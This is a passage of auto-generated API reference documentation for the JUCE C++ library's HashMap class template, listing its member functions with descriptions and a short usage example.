onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-types">Public Types</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classHashMap-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt; Class Template Reference</div> </div> </div><!--header--> <div class="contents"> <p>Holds a set of mappings between some key/value pairs. <a href="classHashMap.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap_1_1Iterator.html">Iterator</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">Iterates over the items in a <a class="el" href="classHashMap.html" title="Holds a set of mappings between some key/value pairs.">HashMap</a>. <a href="classHashMap_1_1Iterator.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-types"></a> Public Types</h2></td></tr> <tr class="memitem:adc9bae72a08bd95e9e030b76d101e215"><td class="memItemLeft" align="right" valign="top">typedef <br class="typebreak"/> TypeOfCriticalSectionToUse::ScopedLockType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#adc9bae72a08bd95e9e030b76d101e215">ScopedLockType</a></td></tr> <tr class="memdesc:adc9bae72a08bd95e9e030b76d101e215"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the type of scoped lock to use for locking this array. <a href="#adc9bae72a08bd95e9e030b76d101e215"></a><br/></td></tr> <tr class="separator:adc9bae72a08bd95e9e030b76d101e215"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a4d6d41cfc524ccc0a73f0251d7fc1fab"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a4d6d41cfc524ccc0a73f0251d7fc1fab">HashMap</a> (int numberOfSlots=defaultHashTableSize, HashFunctionType hashFunction=HashFunctionType())</td></tr> <tr class="memdesc:a4d6d41cfc524ccc0a73f0251d7fc1fab"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty hash-map. <a href="#a4d6d41cfc524ccc0a73f0251d7fc1fab"></a><br/></td></tr> <tr class="separator:a4d6d41cfc524ccc0a73f0251d7fc1fab"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a33001fb7329c32bdca37d969984f1e58"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a33001fb7329c32bdca37d969984f1e58">~HashMap</a> ()</td></tr> <tr class="memdesc:a33001fb7329c32bdca37d969984f1e58"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a33001fb7329c32bdca37d969984f1e58"></a><br/></td></tr> <tr class="separator:a33001fb7329c32bdca37d969984f1e58"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2922931b85fa384901d82de2b46b0845"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">clear</a> ()</td></tr> <tr class="memdesc:a2922931b85fa384901d82de2b46b0845"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all values from the map. <a href="#a2922931b85fa384901d82de2b46b0845"></a><br/></td></tr> <tr class="separator:a2922931b85fa384901d82de2b46b0845"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a79c34c9f6a0799d6cae1b84ff61b7a34"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a79c34c9f6a0799d6cae1b84ff61b7a34">size</a> () const noexcept</td></tr> <tr class="memdesc:a79c34c9f6a0799d6cae1b84ff61b7a34"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current number of items in the map. <a href="#a79c34c9f6a0799d6cae1b84ff61b7a34"></a><br/></td></tr> <tr class="separator:a79c34c9f6a0799d6cae1b84ff61b7a34"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aad123e7a5d4d6a0fef5196d5e0475c21"><td class="memItemLeft" align="right" valign="top">ValueType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#aad123e7a5d4d6a0fef5196d5e0475c21">operator[]</a> (KeyTypeParameter keyToLookFor) const </td></tr> <tr class="memdesc:aad123e7a5d4d6a0fef5196d5e0475c21"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the value corresponding to a given key. <a href="#aad123e7a5d4d6a0fef5196d5e0475c21"></a><br/></td></tr> <tr class="separator:aad123e7a5d4d6a0fef5196d5e0475c21"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a76ea6487128a798b22e3937731cab111"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a76ea6487128a798b22e3937731cab111">contains</a> (KeyTypeParameter keyToLookFor) const </td></tr> <tr class="memdesc:a76ea6487128a798b22e3937731cab111"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the map contains an item with the specied key. <a href="#a76ea6487128a798b22e3937731cab111"></a><br/></td></tr> <tr class="separator:a76ea6487128a798b22e3937731cab111"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa18110ae5d5de81f4e64efcc117e43d8"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#aa18110ae5d5de81f4e64efcc117e43d8">containsValue</a> (ValueTypeParameter valueToLookFor) const </td></tr> <tr class="memdesc:aa18110ae5d5de81f4e64efcc117e43d8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the hash contains at least one occurrence of a given value. <a href="#aa18110ae5d5de81f4e64efcc117e43d8"></a><br/></td></tr> <tr class="separator:aa18110ae5d5de81f4e64efcc117e43d8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a875c55a3b720118cd6687fd6494f7afd"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">set</a> (KeyTypeParameter newKey, ValueTypeParameter newValue)</td></tr> <tr class="memdesc:a875c55a3b720118cd6687fd6494f7afd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds or replaces an element in the hash-map. <a href="#a875c55a3b720118cd6687fd6494f7afd"></a><br/></td></tr> <tr class="separator:a875c55a3b720118cd6687fd6494f7afd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac308687ea47efa4d1559ec1b35505ad2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#ac308687ea47efa4d1559ec1b35505ad2">remove</a> (KeyTypeParameter keyToRemove)</td></tr> <tr class="memdesc:ac308687ea47efa4d1559ec1b35505ad2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an item with the given key. <a href="#ac308687ea47efa4d1559ec1b35505ad2"></a><br/></td></tr> <tr class="separator:ac308687ea47efa4d1559ec1b35505ad2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7c7e68766babe36a8ae07033d3652f2f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a7c7e68766babe36a8ae07033d3652f2f">removeValue</a> (ValueTypeParameter valueToRemove)</td></tr> <tr class="memdesc:a7c7e68766babe36a8ae07033d3652f2f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all items with the given value. <a href="#a7c7e68766babe36a8ae07033d3652f2f"></a><br/></td></tr> <tr class="separator:a7c7e68766babe36a8ae07033d3652f2f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aadd0f7eaeacd996eed49440b27d9f308"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">remapTable</a> (int newNumberOfSlots)</td></tr> <tr class="memdesc:aadd0f7eaeacd996eed49440b27d9f308"><td class="mdescLeft">&#160;</td><td class="mdescRight">Remaps the hash-map to use a different number of slots for its hash function. <a href="#aadd0f7eaeacd996eed49440b27d9f308"></a><br/></td></tr> <tr class="separator:aadd0f7eaeacd996eed49440b27d9f308"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a28c5938ec533466631b98451c6b78072"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">getNumSlots</a> () const noexcept</td></tr> <tr class="memdesc:a28c5938ec533466631b98451c6b78072"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the number of slots which are available for hashing. <a href="#a28c5938ec533466631b98451c6b78072"></a><br/></td></tr> <tr class="separator:a28c5938ec533466631b98451c6b78072"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a885345c5f15712041e6e46d38d6e564b"><td class="memTemplParams" colspan="2">template&lt;class OtherHashMapType &gt; </td></tr> <tr class="memitem:a885345c5f15712041e6e46d38d6e564b"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classHashMap.html#a885345c5f15712041e6e46d38d6e564b">swapWith</a> (OtherHashMapType &amp;otherHashMap) noexcept</td></tr> <tr class="memdesc:a885345c5f15712041e6e46d38d6e564b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Efficiently swaps the contents of two hash-maps. <a href="#a885345c5f15712041e6e46d38d6e564b"></a><br/></td></tr> <tr class="separator:a885345c5f15712041e6e46d38d6e564b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a539b127c2f399e4d5f6c235222fb7bf2"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">getLock</a> () const noexcept</td></tr> <tr class="memdesc:a539b127c2f399e4d5f6c235222fb7bf2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this structure. <a href="#a539b127c2f399e4d5f6c235222fb7bf2"></a><br/></td></tr> <tr class="separator:a539b127c2f399e4d5f6c235222fb7bf2"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><h3>template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt;<br/> class HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;</h3> <p>Holds a set of mappings between some key/value pairs. </p> <p>The types of the key and value objects are set as template parameters. You can also specify a class to supply a hash function that converts a key value into an hashed integer. This class must have the form:</p> <div class="fragment"><div class="line"><span class="keyword">struct </span>MyHashGenerator</div> <div class="line">{</div> <div class="line"> <span class="keywordtype">int</span> generateHash (MyKeyType key, <span class="keywordtype">int</span> upperLimit)<span class="keyword"> const</span></div> <div class="line"><span class="keyword"> </span>{</div> <div class="line"> <span class="comment">// The function must return a value 0 &lt;= x &lt; upperLimit</span></div> <div class="line"> <span class="keywordflow">return</span> someFunctionOfMyKeyType (key) % upperLimit;</div> <div class="line"> }</div> <div class="line">};</div> </div><!-- fragment --><p>Like the <a class="el" href="classArray.html" title="Holds a resizable array of primitive or copy-by-value objects.">Array</a> class, the key and value types are expected to be copy-by-value types, so if you define them to be pointer types, this class won't delete the objects that they point to.</p> <p>If you don't supply a class for the HashFunctionType template parameter, the default one provides some simple mappings for strings and ints.</p> <div class="fragment"><div class="line"><a class="code" href="classHashMap.html" title="Holds a set of mappings between some key/value pairs.">HashMap&lt;int, String&gt;</a> hash;</div> <div class="line">hash.<a class="code" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd" title="Adds or replaces an element in the hash-map.">set</a> (1, <span class="stringliteral">&quot;item1&quot;</span>);</div> <div class="line">hash.<a class="code" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd" title="Adds or replaces an element in the hash-map.">set</a> (2, <span class="stringliteral">&quot;item2&quot;</span>);</div> <div class="line"></div> <div class="line"><a class="code" href="juce__PlatformDefs_8h.html#a5335262a7d74113caa4edd740bded17d" title="Writes a string to the standard error stream.">DBG</a> (hash [1]); <span class="comment">// prints &quot;item1&quot;</span></div> <div class="line"><a class="code" href="juce__PlatformDefs_8h.html#a5335262a7d74113caa4edd740bded17d" title="Writes a string to the standard error stream.">DBG</a> (hash [2]); <span class="comment">// prints &quot;item2&quot;</span></div> <div class="line"></div> <div class="line"><span class="comment">// This iterates the map, printing all of its key -&gt; value pairs..</span></div> <div class="line"><span class="keywordflow">for</span> (<a class="code" href="classHashMap_1_1Iterator.html" title="Iterates over the items in a HashMap.">HashMap&lt;int, String&gt;::Iterator</a> i (hash); i.<a class="code" href="classHashMap_1_1Iterator.html#abdbcb9001e0777946703ff4c8cbde785" title="Moves to the next item, if one is available.">next</a>();)</div> <div class="line"> <a class="code" href="juce__PlatformDefs_8h.html#a5335262a7d74113caa4edd740bded17d" title="Writes a string to the standard error stream.">DBG</a> (i.getKey() &lt;&lt; <span class="stringliteral">&quot; -&gt; &quot;</span> &lt;&lt; i.getValue());</div> </div><!-- fragment --><dl class="tparams"><dt>Template Parameters</dt><dd> <table class="tparams"> <tr><td class="paramname">HashFunctionType</td><td>The class of hash function, which must be copy-constructible. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a>, <a class="el" href="structDefaultHashFunctions.html" title="A simple class to generate hash functions for some primitive types, intended for use with the HashMap...">DefaultHashFunctions</a>, <a class="el" href="classNamedValueSet.html" title="Holds a set of named var objects.">NamedValueSet</a>, <a class="el" href="classSortedSet.html" title="Holds a set of unique primitive objects, such as ints or doubles.">SortedSet</a> </dd></dl> </div><h2 class="groupheader">Member Typedef Documentation</h2> <a class="anchor" id="adc9bae72a08bd95e9e030b76d101e215"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">typedef TypeOfCriticalSectionToUse::ScopedLockType <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classHashMap.html#adc9bae72a08bd95e9e030b76d101e215">ScopedLockType</a></td> </tr> </table> </div><div class="memdoc"> <p>Returns the type of scoped lock to use for locking this array. </p> </div> </div> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a4d6d41cfc524ccc0a73f0251d7fc1fab"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classHashMap.html">HashMap</a> </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numberOfSlots</em> = <code>defaultHashTableSize</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">HashFunctionType&#160;</td> <td class="paramname"><em>hashFunction</em> = <code>HashFunctionType()</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">explicit</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty hash-map. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">numberOfSlots</td><td>Specifies the number of hash entries the map will use. This will be the "upperLimit" parameter that is passed to your generateHash() function. The number of hash slots will grow automatically if necessary, or it can be remapped manually using <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308" title="Remaps the hash-map to use a different number of slots for its hash function.">remapTable()</a>. </td></tr> <tr><td class="paramname">hashFunction</td><td>An instance of HashFunctionType, which will be copied and stored to use with the <a class="el" href="classHashMap.html" title="Holds a set of mappings between some key/value pairs.">HashMap</a>. This parameter can be omitted if HashFunctionType has a default constructor. </td></tr> </table> </dd> </dl> <p>References <a class="el" href="classArray.html#a0cadf83bcfba696c6a4adc15f4e0a78f">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::insertMultiple()</a>.</p> </div> </div> <a class="anchor" id="a33001fb7329c32bdca37d969984f1e58"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::~<a class="el" href="classHashMap.html">HashMap</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> <p>References <a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::clear()</a>.</p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a2922931b85fa384901d82de2b46b0845"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::clear </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all values from the map. </p> <p>Note that this will clear the content, but won't affect the number of slots (see remapTable and getNumSlots). </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>, <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::set()</a>, and <a class="el" href="classArray.html#ae79ec3b32d0c9a80dfff8ffbc41f8523">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::size()</a>.</p> <p>Referenced by <a class="el" href="classHashMap.html#a33001fb7329c32bdca37d969984f1e58">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::~HashMap()</a>.</p> </div> </div> <a class="anchor" id="a79c34c9f6a0799d6cae1b84ff61b7a34"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::size </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the current number of items in the map. </p> </div> </div> <a class="anchor" id="aad123e7a5d4d6a0fef5196d5e0475c21"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">ValueType <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator[] </td> <td>(</td> <td class="paramtype">KeyTypeParameter&#160;</td> <td class="paramname"><em>keyToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the value corresponding to a given key. </p> <p>If the map doesn't contain the key, a default instance of the value type is returned. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">keyToLookFor</td><td>the key of the item being requested </td></tr> </table> </dd> </dl> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, and <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>.</p> </div> </div> <a class="anchor" id="a76ea6487128a798b22e3937731cab111"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::contains </td> <td>(</td> <td class="paramtype">KeyTypeParameter&#160;</td> <td class="paramname"><em>keyToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the map contains an item with the specied key. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, and <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>.</p> </div> </div> <a class="anchor" id="aa18110ae5d5de81f4e64efcc117e43d8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::containsValue </td> <td>(</td> <td class="paramtype">ValueTypeParameter&#160;</td> <td class="paramname"><em>valueToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the hash contains at least one occurrence of a given value. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, <a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getNumSlots()</a>, and <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>.</p> </div> </div> <a class="anchor" id="a875c55a3b720118cd6687fd6494f7afd"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::set </td> <td>(</td> <td class="paramtype">KeyTypeParameter&#160;</td> <td class="paramname"><em>newKey</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ValueTypeParameter&#160;</td> <td class="paramname"><em>newValue</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Adds or replaces an element in the hash-map. </p> <p>If there's already an item with the given key, this will replace its value. Otherwise, a new item will be added to the map. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, <a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getNumSlots()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>, <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remapTable()</a>, and <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::set()</a>.</p> <p>Referenced by <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remapTable()</a>.</p> </div> </div> <a class="anchor" id="ac308687ea47efa4d1559ec1b35505ad2"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::remove </td> <td>(</td> <td class="paramtype">KeyTypeParameter&#160;</td> <td class="paramname"><em>keyToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an item with the given key. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>, and <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::set()</a>.</p> </div> </div> <a class="anchor" id="a7c7e68766babe36a8ae07033d3652f2f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::removeValue </td> <td>(</td> <td class="paramtype">ValueTypeParameter&#160;</td> <td class="paramname"><em>valueToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all items with the given value. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, <a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getNumSlots()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>, and <a class="el" 